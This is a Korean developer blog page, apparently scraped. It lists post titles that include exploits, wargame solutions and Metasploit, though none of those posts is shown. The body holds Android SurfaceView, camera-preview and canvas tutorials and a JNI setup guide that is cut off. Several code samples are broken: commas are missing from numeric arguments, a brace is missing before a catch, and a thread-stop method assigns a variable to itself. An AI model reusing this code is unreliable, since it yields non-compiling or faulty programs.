'k1rha`s Node'에 해당되는 글 388건

  1. 2012.07.09 [android] [펌] SurfaceView 의 이해와 CameraView 띄우기
  2. 2012.07.09 [android] [펌] SurfaceView 에 Canvas 그리기
  3. 2012.07.09 [android] [펌] SurfaceView를 이용한 움직이는 공 만들기
  4. 2012.07.06 JNI 환경 구축하기
  5. 2012.07.06 심심해서 테스트해 본 scanf 오버플로우..
  6. 2012.07.02 BSB telnetd Remote Root pwnerable exploit
  7. 2012.07.02 python try catch 사용하기 (using try,catch in python)
  8. 2012.07.02 webhacking.kr 8번 문제 풀이(insert 구문은 2개가 사입가능)
  9. 2012.07.02 webhacking.kr 7번 (300점) 문제 풀이 (뺄셈으로 union 필터 우회)
  10. 2012.07.01 webhacking.kr 5번 문제 풀이 (base64 인코딩)
  11. 2012.07.01 webhacking.kr 5번(350점) 문제 풀이 (CTV 취약점)
  12. 2012.07.01 webhacking.kr 4번(150점) 문제 brute forcing 문제
  13. 2012.07.01 webhacking.kr 3번(350점) 문제 풀이 [&& 연산이 비교가 없으면 all pass]
  14. 2012.07.01 webhacking.kr 1번 문제 (200점) 풀이 [소숫점 이용하기]
  15. 2012.06.30 [개인 소장용 ] SSM 안드로이드 플랫폼 개발 강의 요약
  16. 2012.06.30 [python] 파이썬으로 http 요청하고 request 받기 (webhacking.kr 4 번 풀이)
  17. 2012.06.28 join 함수 사용 사례
  18. 2012.06.28 python 옵션 설정하기 getopt (get option in
  19. 2012.06.27 enumerate() 사용기. (useage enumerate function)
  20. 2012.06.27 [python]window 프로세스를 붙여 PID 알아내는 디버거 (Searching PID Debugger via process attach)
  21. 2012.06.26 인코딩 디코딩 해주는 php 소스 코드
  22. 2012.06.26 파이썬 설치 에러 뜰때 플러그인 직접 삽입하는 방법.
  23. 2012.06.21 Hackerschool 몽이형이 쓰신 리모트 버퍼오버플로우 총 정리(remote buffer overflow theory by mongil)
  24. 2012.06.21 리모트 버퍼오버플로우 간단한 예제 코드 (Remote BOF exploit simple example code)
  25. 2012.06.21 LOB level20 (xavius -> death_knight) Remote BOF 2
  26. 2012.06.19 Metasploit 사용하여 하데스 해킹 효과내기 (극비자료)
  27. 2012.06.19 Metasploit Framework 우분투에 설치하기(Install Metasploit framework in Ubuntu)
  28. 2012.06.16 gcc 컴파일 옵션, 스택실행,까나리 없애기,바운더리없애기, 랜덤스택 풀기
  29. 2012.06.14 [JAVA] 비동기 소켓 클라이언트 (async socket client in JAVA)
  30. 2012.06.06 IOCP Server & Client C 예제코드 (winsock2) [IOCP Server & Client using winsock2 via C
2012. 7. 9. 15:01

강좌 작성환경
SDK Version : Android SDK 1.6, release 2
ADT Version : 0.9.5

추후 SDK업데이트로 인해 글의 내용과 최신 SDK 내용간 차이가 있을 수 있습니다.






카메라를 이용하는 것에 대해 알아보기 전에, 카메라를 이용하면 필수로 사용하게 되는 카메라 프리뷰(Preview)를 표시할 때 사용하는 View인 SurfaceView에 대해 먼저 알아보도록 하겠습니다.

SurfaceView? 그게 뭐야?

SufraceView라는 이름에서 알 수 있듯이, TextView, ImageView처럼 컨텐츠를 표시할 수 있는 View 중 하나입니다. 하지만 이 SurfaceView는 다른 View들과는 달리 직접 SurfaceView가 컨텐츠를 표시하지 않습니다. 이건 좀 나중에 알아보기로 하고, 왜 하필이면 SurfaceView를 쓰는 걸까요?

일반적인 View는 화면에 뷰를 표시하는 연산과 기타 연산, 사용자와의 상호작용 처리 등이 모두 하나의 쓰레드에서 처리됩니다. 이것을 가장 잘 확인할 수 있는 예가 바로 ANR(Application Not Responding)입니다. ANR은 어플리케이션이 5초 이상 동작을 멈췄을 때, 조금 더 자세히 말하자면 GUI업데이트가 5초이상 멈췄을 때 발생하는데, 실제로 가끔씩 몇몇 어플리케이션에서 연산이 늦어지면 GUI 업데이트가 늦어지며 ANR이 발생하는 것을 볼 수 있습니다. 즉, GUI 업데이트와 다른 연산이 같은 쓰레드 내에서 처리되기에 이런 현상이 발생하는것이죠.

그런데, 우리가 처리해야할 것은 카메라 프리뷰, 즉 실시간으로 화상을 카메라로부터 받아서 1초에 몇십프레임 이상의 속도로 화면을 업데이트해야 하는 동작입니다. 그렇기에 만약 SurfaceView를 쓰지 않으면 뷰를 업데이트하는데 쓰레드의 자원을 모두 써서 어플리케이션의 정상적인 동작을 보장하기 어렵죠.

그래서 등장한 것이 바로 SurfaceView입니다. SurfaceView는 화면 업데이트를 백그라운드 쓰레드로 수행하여 어플리케이션의 자원을 잠식하지 않고 원활하게 뷰를 업데이트해줍니다. 뿐만 아니라 SurfaceView는 OpenGL을 통한 가속이 지원되어 원활한 3D그래픽 표현도 가능합니다. (GLSurfaceView)


SurfaceView의 구조

ImageView나 TextView는 뷰 자체가 바로 컨텐츠를 표시하지만, SurfaceView는 조금 복잡한 구조를 가지고 있습니다.
SurfaceView 자체는 하나의 "틀" 역할만 하고, 실제로 컨텐츠가 표시되는 곳은 SurfaceView 내의 Surface 객체입니다. 


위의 그림에서 알 수 있듯이, SurfaceHolder객체가 실제 Surface에 접근하여 화면을 처리해주는 구조를 가지고 있습니다. SurfaceHolder라는 이름 그대로, Surface 객체를 잡고(Hold) 관리해주는 것이라 보면 됩니다.

그럼, 이제 본격적으로 코드를 보면서 진행해보도록 하겠습니다. 아래의 코드는 API Demos의 CameraPreview 코드입니다.
우선 SurfaceView 부분부터 보도록 하겠습니다.


01.class Preview extends SurfaceView implements SurfaceHolder.Callback {
02.SurfaceHolder mHolder;
03. 
04.Preview(Context context) {
05.super(context);
06. 
07.// SurfaceHolder.Callback을 설정함으로써 Surface가 생성/소멸되었음을
08.// 알 수 있습니다.
09.mHolder = getHolder();
10.mHolder.addCallback(this);
11.mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
12.}
13. 
14.public void surfaceCreated(SurfaceHolder holder) {
15. 
16.}
17. 
18.public void surfaceDestroyed(SurfaceHolder holder) {
19. 
20.}
21. 
22.public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
23. 
24.}
25. 
26.}

SurfaceView를 사용하기 위해서는 SurfaceView 객체를 직접 사용하는 것이 아니라 SurfaceView를 상속하며, SurfaceHolder.Callback을 구현하는 클래스를 생성해야 합니다.  생성자 부분을 보도록 하죠.

01.class Preview extends SurfaceView implements SurfaceHolder.Callback {
02.SurfaceHolder mHolder; // 1
03. 
04.Preview(Context context) {
05.super(context);
06. 
07.// SurfaceHolder.Callback을 설정함으로써 Surface가 생성/소멸되었음을
08.// 알 수 있습니다.
09.mHolder = getHolder(); // 2
10.mHolder.addCallback(this); // 3
11.mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
12.}

우선 클래스의 멤버로 SurfaceHolder 객체인 mHolder 객체를 가지고 있는 것을 확인할 수 있습니다. 이 객체를 통해 실제로 컨텐츠가 표시되는 영역인 Surface를 관리할 수 있습니다. (1)

그 다음, mHolder에 getHolder()메소드를 통해 현재 SurfaceView의 SurfaceHolder 인스턴스를 연결해주고 있는 것을 확인할 수 있습니다. 이로서, mHolder객체를 통해 이 SurfaceView의 Surface에 접근할 수 있게 되었습니다. (2)

다음은 콜백(Callback)을 설정하는 모습입니다. 이 과정은 SurfaceHolder와 SurfaceView를 연결시켜주는 과정입니다. 이로써 Surface가 변경됨을 SurfaceHolder(mHolder)를 거쳐 최종적으로 SurfaceView에서도 알 수 있게 되었습니다. (3)

그 다음은 SurfaceView의 유형을 설정해주는데, 위의 옵션은 버퍼가 없이 화면을 표시할 때 사용합니다. 카메라 프리뷰는 별도의 버퍼가 없어도 되니 이 옵션을 사용합니다.

그 다음으로 SurfaceView.Callback에서 구현하는 메소드들을 확인할 수 있습니다.

01.public void surfaceCreated(SurfaceHolder holder) {
02. 
03.}
04. 
05.public void surfaceDestroyed(SurfaceHolder holder) {
06. 
07.}
08. 
09.public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
10. 
11.}
12. 
13.}

위의 메소드들은 마치 액티비티의 생애주기와 비슷한 형태를 하고 있습니다. 실제로, SurfaceView 자체가 3D 그래픽 등 자원을 많이 사용하기에 사용하지 않을 때 (화면에서 보이지 않을 때) 적절한 처리를 하는 것이 매우 중요하므로 위의 메소드에서 그 작업을 처리해주게 됩니다.

그럼 여기까지 SufraceView에 대한 기본적인 것들에 대해 알아보았으니 다음 글에서는 실제로 Camera 객체를 얻어와 Preview를 표시하는 것까지 알아보도록 하겠습니다. :)


강좌 작성환경
SDK Version : Android SDK 1.6, release 2
ADT Version : 0.9.5

추후 SDK업데이트로 인해 글의 내용과 최신 SDK 내용간 차이가 있을 수 있습니다.

지난 글에 이어서 이번 글에서는 카메라 프리뷰를 SurfaceView에 표시하는 방법에 대해 알아보도록 하겠습니다.
카메라 프리뷰 화면이 우리가 만든 SurfaceView에 표시되어야 하므로, SurfaceView를 완전하게 구현해 주어야 합니다.
아래는 우리가 만든 SurfaceView를 상속한 클래스, Preview 클래스의 전체 코드입니다.


01.class Preview extends SurfaceView implements SurfaceHolder.Callback {
02.SurfaceHolder mHolder;
03.Camera mCamera;
04. 
05.Preview(Context context) {
06.super(context);
07. 
08.// SurfaceHolder.Callback을 설정함으로써 Surface가 생성/소멸되었음을
09.// 알 수 있습니다.
10.mHolder = getHolder();
11.mHolder.addCallback(this);
12.mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
13.}
14. 
15.public void surfaceCreated(SurfaceHolder holder) {
16.// Surface가 생성되었다면, 카메라의 인스턴스를 받아온 후 카메라의
17.// Preview 를 표시할 위치를 설정합니다.
18.mCamera = Camera.open();
19.try {
20.mCamera.setPreviewDisplay(holder);
21.catch (IOException exception) {
22.mCamera.release();
23.mCamera = null;
24.// TODO: add more exception handling logic here
25.}
26.}
27. 
28.public void surfaceDestroyed(SurfaceHolder holder) {
29.// 다른 화면으로 돌아가면, Surface가 소멸됩니다. 따라서 카메라의 Preview도
30.// 중지해야 합니다. 카메라는 공유할 수 있는 자원이 아니기에, 사용하지 않을
31.// 경우 -액티비티가 일시정지 상태가 된 경우 등 - 자원을 반환해야합니다.
32.mCamera.stopPreview();
33.mCamera = null;
34.}
35. 
36.public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
37.// 표시할 영역의 크기를 알았으므로 해당 크기로 Preview를 시작합니다.
38.Camera.Parameters parameters = mCamera.getParameters();
39.parameters.setPreviewSize(w, h);
40.mCamera.setParameters(parameters);
41.mCamera.startPreview();
42.}
43. 
44.}

이전 글에서는 아직 surfaceCreated, surfaceDestroyed, surfaceChanged 메소드가 구현되어있지 않았는데, 여기에서 이 메소드들까지 구현되어 있는 것을 확인할 수 있습니다. 하나하나씩 차근차근 살펴보도록 하겠습니다.

1.class Preview extends SurfaceView implements SurfaceHolder.Callback {
2.SurfaceHolder mHolder;
3.Camera mCamera; // Camera객체 추가

우선, SurfaceView에 카메라에서 받은 영상을 표시하기 위해 Camera객체가 추가된 것을 확인할 수 있습니다.

01.public void surfaceCreated(SurfaceHolder holder) {
02.// Surface가 생성되었다면, 카메라의 인스턴스를 받아온 후 카메라의
03.// Preview 를 표시할 위치를 설정합니다.
04.mCamera = Camera.open();
05.try {
06.mCamera.setPreviewDisplay(holder);
07.catch (IOException exception) {
08.mCamera.release();
09.mCamera = null;
10.// TODO: add more exception handling logic here
11.}
12.}
그 다음, surfaceCreated 메소드의 구현부입니다.
마치 액티비티의 생애주기 메소드 중 하나인 onCreate(Bundle)의 형태와 유사합니다. 이 메소드를 구현함으로써 SurfaceView가 생성되었을 때, 즉 "화면에 표시" 될 때 해야 할 동작을 처리할 수 있습니다.

여기에서는 카메라 객체를 받아와 카메라로부터 영상을 받을 수 있도록 초기화해주는 동작을 수행하고 있습니다. (Camera.open()) 그 다음, setPreviewDisplay(holder)메소드를 통해 카메라로부터 받은 프리뷰 영상을 어디에 표시해줄지 지정하고 있습니다.

앞의 글에서 SurfaceView는 SurfaceView 자체가 내용을 표시하는 것이 아니라 내부의 SurfaceHolder를 통해 최종적으로는 Surface라는 객체 위에 그 내용을 표시한다고 하였는데, 위의 경우는 아래와 같이 카메라의 영상이 처리된다고 볼 수 있습니다.


그 다음을 한번 보도록 하죠. 예외처리 부분이군요.

1.catch (IOException exception) {
2.mCamera.release();
3.mCamera = null;
4.// TODO: add more exception handling logic here
5.}

오류가 발생해서 프리뷰 화면을 제데로 표시하지 못했다면, release() 메소드를 사용하여 카메라의 자원을 다시 반환하는 것을 확인할 수 있습니다. 카메라는 여러 곳에서 공유할 수 있는 자원이 아니기에 카메라 객체의 사용이 끝났다면 위와 같이 release() 메소드를 사용하여 자원을 반환해야 합니다. 그렇지 않으면 다른 문제가 발생할 수 있습니다. :(

1.public void surfaceDestroyed(SurfaceHolder holder) {
2.// 다른 화면으로 돌아가면, Surface가 소멸됩니다. 따라서 카메라의 Preview도
3.// 중지해야 합니다. 카메라는 공유할 수 있는 자원이 아니기에, 사용하지 않을
4.// 경우 -액티비티가 일시정지 상태가 된 경우 등 - 자원을 반환해야합니다.
5.mCamera.stopPreview();
6.mCamera = null;
7.}

그 다음, surfaceDestroyed 메소드 구현부입니다. 이 메소드는 SurfaceView가 더이상 화면에 표시되지 않을 때 호출됩니다. 일반적인 View는 액티비티가 일시정지 상태가 된 경우에도 계속 화면에 그 내용을 표시하지만, SurfaceVIew의 경우 표시하는 내용이 다른 뷰에 비해 복잡하기에 굳이 액티비티가 비활성 상태일때 그 내용을 표시할 이유가 없겠죠. 

따라서, stopPreview() 메소드를 사용하여 카메라의 프리뷰 영상을 표시하는 것을 중단하고, 카메라 객체를 소멸시킵니다.

1.public void surfaceChanged(SurfaceHolder holder, int format, int w, int h) {
2.// 표시할 영역의 크기를 알았으므로 해당 크기로 Preview를 시작합니다.
3.Camera.Parameters parameters = mCamera.getParameters(); // (1)
4.parameters.setPreviewSize(w, h); // (2)
5.mCamera.setParameters(parameters); // (3)
6.mCamera.startPreview();
7.}

다음은 surfaceChanged메소드입니다. 이 메소드는 surfaceCreated()메소드 호출 이후에 호출되는 메소드로, Surface의 크기에 따라 실질적으로 어떻게 내용을 표시할지를 처리해주는 메소드입니다.

여기에서는 카메라의 여러 설정값들을 담고 있는 parameters를 받아온 후(1), 프리뷰의 크기를 지정합니다.(2) 그 후, setParameters()에 방금 카메라 프리뷰 크기를 수정한 parameter 객체를 인자로 넘겨줌으로써 카메라 객체에서 프리뷰 영상을 표시할 영역의 크기를 설정해주게 됩니다. (3)

이 과정이 모두 끝났다면, startPreview() 메소드를 통해 최종적으로 카메라 프리뷰 영상을 표시해주게 됩니다.

여기까지 해서 SurfaceView 부분의 구현이 모두 끝났습니다. 실질적으로 카메라의 영상을 처리하는 부분은 여기에서 끝났으므로, 남은 것들은 액티비티를 구성하고, 이 뷰의 객체를 생성한 후 액티비티의 화면으로 표시해주는 과정이 남았습니다. 
액티비티 구현을 보도록 하죠.

01.public class CameraPreview extends Activity {   
02.private Preview mPreview;
03. 
04.@Override
05.protected void onCreate(Bundle savedInstanceState) {
06.super.onCreate(savedInstanceState);
07. 
08.// Hide the window title.
09.requestWindowFeature(Window.FEATURE_NO_TITLE);
10. 
11.// Create our Preview view and set it as the content of our activity.
12.mPreview = new Preview(this);
13.setContentView(mPreview);
14.}
15. 
16.}
다른 특이한 것들은 별로 없고, 액티비티의 이름을 표시해주는 타이틀바를 표시하지 않기 위해 requestWindowFeature(Window.FEATURE_NO_TITLE) 를 사용하는 것을 확인할 수 있습니다.

자 이제 거의 다 끝났습니다. 카메라를 사용하기 위해서는 권한이 필요하므로, 메니페스트 파일에 권한을 추가합니다.


위와 같이 메니페스트 파일의 Permission 탭으로 이동한 후, Add..버튼을 누릅니다.


Uses Permission을 선택한 후, OK 버튼을 클릭합니다.


새로 Uses Permission 항목에 카메라 사용 권한인 android.permission.CAMERA 를 선택해주면 권한 추가가 완료됩니다.

그리고, 메니페스트 파일을 열어 수동으로 <uses-feature android:name="android.hardware.camera"/> 를 추가합니다.

 
이 기능은 SDK버전을 선언하는 것과 비슷하게 카메라가 없는 장치에서는 아예 어플리케이션이 설치가 되지 않도록 하는 옵션입니다. 안드로이드를 사용하는 장치가 한두가지가 아니므로 이런 식으로 각 장치의 특성에 맞도록 적절히 조치를 해 주는 것이죠.

마지막으로, 액티비티를 landscape 모드로 표시하기 위해 메니페스트 파일을 열어 Application 탭으로 간후,


Screen orientation을 landscape로 바꾸어줍니다. 이렇게 하면 이 액티비티는 항상 landscape 모드로 표시되게 됩니다.


이 과정이 모두 끝났다면, 어플리케이션을 실행시켜봅시다. 카메라 미리보기가 잘 표시되는 것을 확인할 수 있습니다 :)

Posted by k1rha
2012. 7. 9. 13:53

[출처 : http://golee07.tistory.com/entry/Android-SurfaceView-%EC%9C%84%EC%97%90-Canvas-%EA%B7%B8%EB%A6%AC%EA%B8%B0 ] 




SurfaceView에서 작동하는 Camera Preview위에 어떠한 그림을 그리기 위해서는 OnDraw를 오버라이드하는 방법이 아니라 아래와 같이 그려주는 View를 Activity에 추가시켜 줘야합니다. 아래와 같이 addContentView를 호출해주시면 됩니다.


COPY TO CLIPBOARD | DOWNLOAD | RAW | EMBED | REPORT ABUSE

  1. public class TestCameraOverlay extends Activity {
  2.     /** Called when the activity is first created. */
  3.     @Override
  4.     public void onCreate(Bundle savedInstanceState) {
  5.         super.onCreate(savedInstanceState);
  6.         requestWindowFeature(Window.FEATURE_NO_TITLE);
  7.         Preview mPreview = new Preview(this);
  8.         DrawOnTop mDraw = new DrawOnTop(this);
  9.         setContentView(mPreview);
  10.         addContentView(mDraw, new LayoutParams
  11. (LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT));
  12.     }
  13. }

그림을 그리는 View를 상속받은 DrawTop 클래스는 아래와 같이 OnDraw를 오버라이드하여 Canvas를 그려줄 수 있습니다. 저는 Path를 이용하여 삼각형을 그려봤습니다.


COPY TO CLIPBOARD
 | DOWNLOAD | RAW | EMBED | REPORT ABUSE
  1.  
  2. public class DrawOnTop extends View{
  3.        
  4.         public DrawOnTop(Context context) {
  5.                 super(context);
  6.         }
  7.  
  8.         @Override
  9.         protected void onDraw(Canvas canvas) {
  10.         // TODO Auto-generated method stub
  11.         Paint paint = new Paint();
  12.         paint.setStyle(Paint.Style.FILL);
  13.         paint.setColor(Color.BLACK);
  14.         paint.setTextSize(20);
  15.         canvas.drawText("Test Text"2020, paint);
  16.  
  17.         paint.setStyle(Paint.Style.STROKE);
  18.         paint.setStrokeWidth(2);
  19.         paint.setColor(Color.RED);
  20.        
  21.         Path path = new Path();
  22.         path.moveTo(5050);    
  23.         path.lineTo(1000);
  24.        
  25.         path.lineTo(15050);        
  26.         path.close();
  27.        
  28.         path.offset(110150);
  29.         canvas.drawPath(path, paint);
  30.        
  31.        
  32.                 super.onDraw(canvas);
  33.         }
  34. }



참조 : http://groups.google.com/group/android-developers/msg/6e1f453ac051f6bd?pli=1
참조 : http://stackoverflow.com/questions/3548666/overlay-images-onto-camera-preview-surfaceview

Posted by k1rha
2012. 7. 9. 13:36

[출처 : http://blog.naver.com/khs7515?Redirect=Log&logNo=20156449363 ] 


-----------------------------------------------------------------------------------------------------


이분 블로그를 앞으로 많이 이용할듯하다. 은근히 섬세한 설명에 이유까지 잘설명됨 


--------------------------------------------------------------------------------------------------


SurfaceView는 View보다 구조상 복잡하긴 하지만 성능이 더 좋기 때문에 게임, 또는 렌즈에 비치는 모습을 휴대폰 화면에

   빠르게 보여주기 위해서 사용된다.

# 예를 들어 설명하자면 100개의 물건을 옮기는데 View는 1개씩 옮겨다 놓지만 SurfaceView는 100개를 실어서 한번에 옮기는 형태랄까

# 화면이 갱신되는 동안 모든 객체의 정보를 담아두었다가 보여주는 것을 반복한다.

# 다음 예제는 임의로 움직이는 공을 무한하게 만들어서 SurfaceView가 어느 정도까지 버틸 수 있는가를 실험해보는 것이다.

# 모토로이 기준 1,500개정도가 되면 속도가 현저히 늦어지는 것을 볼 수 있었다.


******************************************** MainActivity.java *************************************************

package test.surfaceview.test2;


import android.app.Activity;

import android.os.Bundle;


public class MainActivity extends Activity {

    /** Called when the activity is first created. */

    @Override

    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(new GameView(this));

    }

}

******************************************** GameView.java *************************************************

package test.surfaceview.test2;


import android.content.Context;

import android.util.Log;

import android.view.SurfaceHolder;

import android.view.SurfaceView;


/*

 * [[ 빠른 그래픽 처리를 위한 SurfaceView 사용하기 ]]

 * 1. surfaceview 클래스를 상속받는다.

 * 2. surfaceHolder.callback인터페이스를 구현한다.

 * 3. 인터페이스의 추상메소드를 오버라이딩 한다.

 * 4. 백그라운드에서 작업할 스레드를 만들어서 SurfaceHolder 객체를 넘겨준다.

 * 5. 스레드에서는 surfaceholder 객체를 이용해서 그래픽 작업한다.

 * 6. 

 */


//생성자 1개짜리는 View만 쓸때. 2개짜리는 다른것도 쓸때

public class GameView extends SurfaceView implements SurfaceHolder.Callback{

Context context;

SurfaceHolder sHolder;

GameThread gameThread;

int width, height; //surfaceView가 차지하고 있는 실제 공간의 크기

public GameView(Context context) {

super(context);

this.context = context;

init(); //초기화

}

//초기화하는 메소드

public void init(){

//SurfaceHolder객체 얻어오기

sHolder = getHolder(); //surface가 holder를 가지고 있기 때문에 그냥 getholder하면 된다.

//콜백 객체 등록

sHolder.addCallback(this);

//스레드 객체 생성

gameThread = new GameThread(context, sHolder);

}

//뷰화면의 크기가 변화가 생겼을 때 호출되는 메소드(화면의 폭과 높이 정보가 인자로 들어온다.)

public void surfaceChanged(SurfaceHolder holder, int format, int width,

int height) {

Log.e("*********", "surfaceChanged()");

this.width = width;

this.height = height;

gameThread.setScreenSize(width, height);

Log.e("*********", "width:"+width+" / height:"+height);

}

//뷰가 처음 만들어 질 때 호출되는 메소드

public void surfaceCreated(SurfaceHolder holder) {

Log.e("*********", "surfaceCreated()");

try {

//스레드를 시작시킨다.

gameThread.start();

} catch (Exception e) {

Log.e("********", "스레드 시작 시 에러 발생! 스레드를 다시 생성");

//에러 발생하면 재시작하기

restartThread();

}

}

//뷰가 파괴될 때 호출되는 메소드

public void surfaceDestroyed(SurfaceHolder holder) {

Log.e("*********", "surfaceDestroyed()");

//에러 없이 스레드를 안전하게 종료하기 위해

boolean tryJoin = true;

gameThread.stopForever(); //종료시 에러를 잡기 위한 핵심!

while(tryJoin){//join이 성공할때까지

try{

gameThread.join();

tryJoin=false;

}catch (Exception e) {

}

}

}

//스레드를 재시작하는 메소드

public void restartThread(){

//스레드 정지

gameThread.stopForever();

//스레드 비우고

gameThread = null;

//객체 다시 생성

gameThread = new GameThread(context, sHolder);

//화면의 폭과 높이 전달

gameThread.setScreenSize(width, height);

//스레드 시작

gameThread.start();

}

//스레드 일시정지하는 메소드

public void pauseThread(){

gameThread.pauseNResume(true);

}//일시 정지된 스레드를 재시작하는 메소드

public void resumeThread(){

gameThread.pauseNResume(false);

}

}


******************************************** GameThread.java *************************************************

package test.surfaceview.test2;


import java.util.ArrayList;

import java.util.Random;


import android.content.Context;

import android.graphics.Canvas;

import android.graphics.Color;

import android.graphics.Paint;

import android.graphics.Paint.Style;

import android.util.Log;

import android.view.SurfaceHolder;


public class GameThread extends Thread{


Context context;

SurfaceHolder sHolder; //핵심개체이며 화면의 구성에 대한 정보를 모두 가지고 있다.

boolean isRun = true;

boolean isWait = false;

Canvas canvas; //화면에 무언가를 그리기 위한 캔바스 객체(sHolder가 가지고 있다)

int width, height;

//랜덤한 수를 발생시키기 위해

Random ran = new Random();

//색을 저장할 배열

Paint[] paint = new Paint[5];

//원 객체를 저장할 배열

ArrayList<Circle> list = new ArrayList<Circle>();

//생성자

public GameThread(Context context, SurfaceHolder sHolder){

this.context = context;

this.sHolder = sHolder;

//원을 그릴 색 만들어서 배열에 저장하기

initPaint();

}

//화면의 폭과 높이를 전달바든ㄴ다

public void setScreenSize(int width, int height){

this.width = width;

this.height = height;

Log.e("*********", "width:"+width+" / height:"+height);

}

//빠르게 돌아가는 스레드에서 메소드를 실행하거나 멤버필드가 교환되는 작업을 하면 

//스레드 작업이 깨질수있기 때문에 동기화가 필요하다.

//스레드의 일시정지 혹은 재시작 하는 메소드

public void pauseNResume(boolean isWait){

synchronized (this) {

this.isWait = isWait;

notify();

}

}

//스레드 완전 정지하는 메소드

public void stopForever(){

synchronized (this) {

this.isRun = isRun;

notify();

}

}

//스레드 본체인 run메소드에서 그리는 작업을 해준다.

@Override

public void run() {

while(isRun){ //isRun의 초기 값이 true 이므로 기본적으로 무한 루프이다.

//Canvas객체 얻어오기

canvas = sHolder.lockCanvas();//화면정보를 다 담을때까지 화면을 잠궈놓는다.

//화면에 그리는 작업을 한다.

try{

//동기화 블럭에서 작업을 해야한다.

  synchronized (sHolder) { //그리기위한 모든 작업을 하는 곳

  //canvas 객체를 이용해서 반복적인 그리기 작업을 한다.

  canvas.drawColor(Color.WHITE);

  //반복문을 돌면서 원을 그린다

  for(int i=0 ; i < list.size() ; i++){

  //해당 인덱스의 원객체를 얻어온다.

  Circle cir = list.get(i);

  canvas.drawCircle(cir.x, cir.y, //원의 위치

  5,  //반지름

  paint[cir.color]); //원의 색

  }

  canvas.drawText("공의수:"+list.size(), 0, 20, paint[0]);

  //원 만들기(10번 돌때 한번의 확률로 원을 만들기 위해)

  //if(ran.nextInt(5)==0)

  makeCircle();

  //원 움직이기

  moveCircle();

}

}finally{

if(canvas!=null)//실제로 화면을 그리는 곳(while을 돌면서 화면을 덧그리기 때문에 invalidate가 필요하지 않다)

//잠근 화면을 풀고 작업한canvas 객체를 전달해서 화면을 그린다.

sHolder.unlockCanvasAndPost(canvas);

}

//스레드를 일시 정지 하기 위해 

if(isWait){ //isWait의 초기값은 false 이다

try {

synchronized (this) {

wait(); //notify할때까지 기다린다.(일시정지)

}

} catch (Exception e) {}

}//if

}//while

}//run

//페인트 객체를 생성해서 배열에 담는 메소드

public void initPaint(){

//paint 객체 생성해서 배열에 담기

Paint p1 = new Paint();

p1.setColor(Color.DKGRAY);

p1.setStyle(Style.FILL); // 원을 채우도록 

Paint p2 = new Paint();

p2.setColor(Color.RED);

p2.setStyle(Style.FILL); // 원을 채우도록

Paint p3 = new Paint();

p3.setColor(Color.GREEN);

p3.setStyle(Style.FILL); // 원을 채우도록

Paint p4 = new Paint();

p4.setColor(Color.BLUE);

p4.setStyle(Style.FILL); // 원을 채우도록

Paint p5 = new Paint();

p5.setColor(Color.YELLOW);

p5.setStyle(Style.FILL); // 원을 채우도록

//배열에 담는다.

paint[0]=p1;

paint[1]=p2;

paint[2]=p3;

paint[3]=p4;

paint[4]=p5;

}

//circle 객체를 만드는 메소드

public void makeCircle(){

//원의 위치

int x = ran.nextInt(width); //화면의 폭 안의 랜덤한 x지점

int y = ran.nextInt(height); //화면의 높이 안의 랜덤한 y지점

//원의 초기 속도

int speedX = ran.nextInt(10)-5;

int speedY = ran.nextInt(10)-5;

//원의 색

int color = ran.nextInt(5);

//Circle 객체를 생성해서 배열에 담는다

Circle cir = new Circle(x, y, color, speedX, speedY);

list.add(cir);

}

//circle객체를 움직이는 메소드

public void moveCircle(){

//반복문 돌면서 원 객체 움직이기

for(Circle cir : list){

cir.x += cir.speedX;

cir.y += cir.speedY;

//화면을 벗어나지 못하도록 처리

if(cir.x <= 0 || cir.x >= width){

//속도의 부호를 바꾸어서 반대방향으로 움직인다.

cir.speedX *= -1;

//바뀐 속도로 한번 움직여 준다.

cir.x += cir.speedX;

}

if(cir.y <= 0 || cir.y >= height){

//속도의 부호를 바꾸어서 반대방향으로 움직인다.

cir.speedY *= -1;

//바뀐 속도로 한번 움직여 준다.

cir.y += cir.speedY;

}

}

}

}


******************************************** Circle.java *************************************************

package test.surfaceview.test2;


public class Circle {

int x, y;

int color;

int speedX, speedY; //속도

public Circle(int x, int y, int color, int speedX, int speedY) {

super();

this.x = x;

this.y = y;

this.color = color;

this.speedX = speedX;

this.speedY = speedY;

}


}

Posted by k1rha
2012. 7. 6. 00:43

[   ]

 

0. JDK, Android SDK, 이클립스 다운로드 설치

(다른 페이지 참조)

 

1. Android NDK 다운로드 설치

(http://developer.android.com/tools/sdk/ndk/index.html)

 

2. 시그윈(cygwin) 다운로드 설치 

(http://www.cygwin.com/)

devel 전부 체크하고 설치가 맘편하다. (edit vim 포함)

 

 

 

 

3. C/C++ 라이브러리 함수를 호출하는 안드로이드(JAVA) 프로젝트

 

사전 작업 

cygwin 안에 NDK 폴더에서  이클립스에서 New andorid project 만든다.

그리고 한번 실행해준다.

 

$pwd

 /home/k1rha/android-ndk-r8/

$cd smash //내가 만든 프로젝트 

 

 

$ NdkMethod.java // 자바파일 생성

(클래스 명명 규칙에 어긋나는 JNI-function 라는 이름같은 것도 오류를 뱉어 낸다. )

------------------------------------------------------------------------

public class NdkMethod {

     static{

          System.loadLibrary("NdkMethodLibrary");

     }

     public native int NDKTest(int a, int b);

}

-------------------------------------------------------------------------

 

$pwd

$/home/k1rha/android-ndk-r8/PROJECT/smash/bin/classes/

(반드시 classess 에서 명령어를 쳐준다 이유는 헤더를 만들때는 폴더를 들어가는게 아니라 패키지명을 .으로 입력해줘야 하기 때문이다.)

 

$javah edge.smash.NdkMethod //여기서는 폴더가 .으로 패키지를 이어준다.

 

 

 

아래와 같은 파일이 만들어져 있다.

---------------------------edge_smash_NdkMethod.h--------------------------------------

/* DO NOT EDIT THIS FILE - it is machine generated */

#include <jni.h>

/* Header for class edge_smash_NdkMethod */

 

#ifndef _Included_edge_smash_NdkMethod

#define _Included_edge_smash_NdkMethod

#ifdef __cplusplus

extern "C" {

#endif

/*

 * Class:     edge_smash_NdkMethod

 * Method:    NDKTest

 * Signature: (II)I

 */

JNIEXPORT jint JNICALL Java_edge_smash_NdkMethod_NDKTest

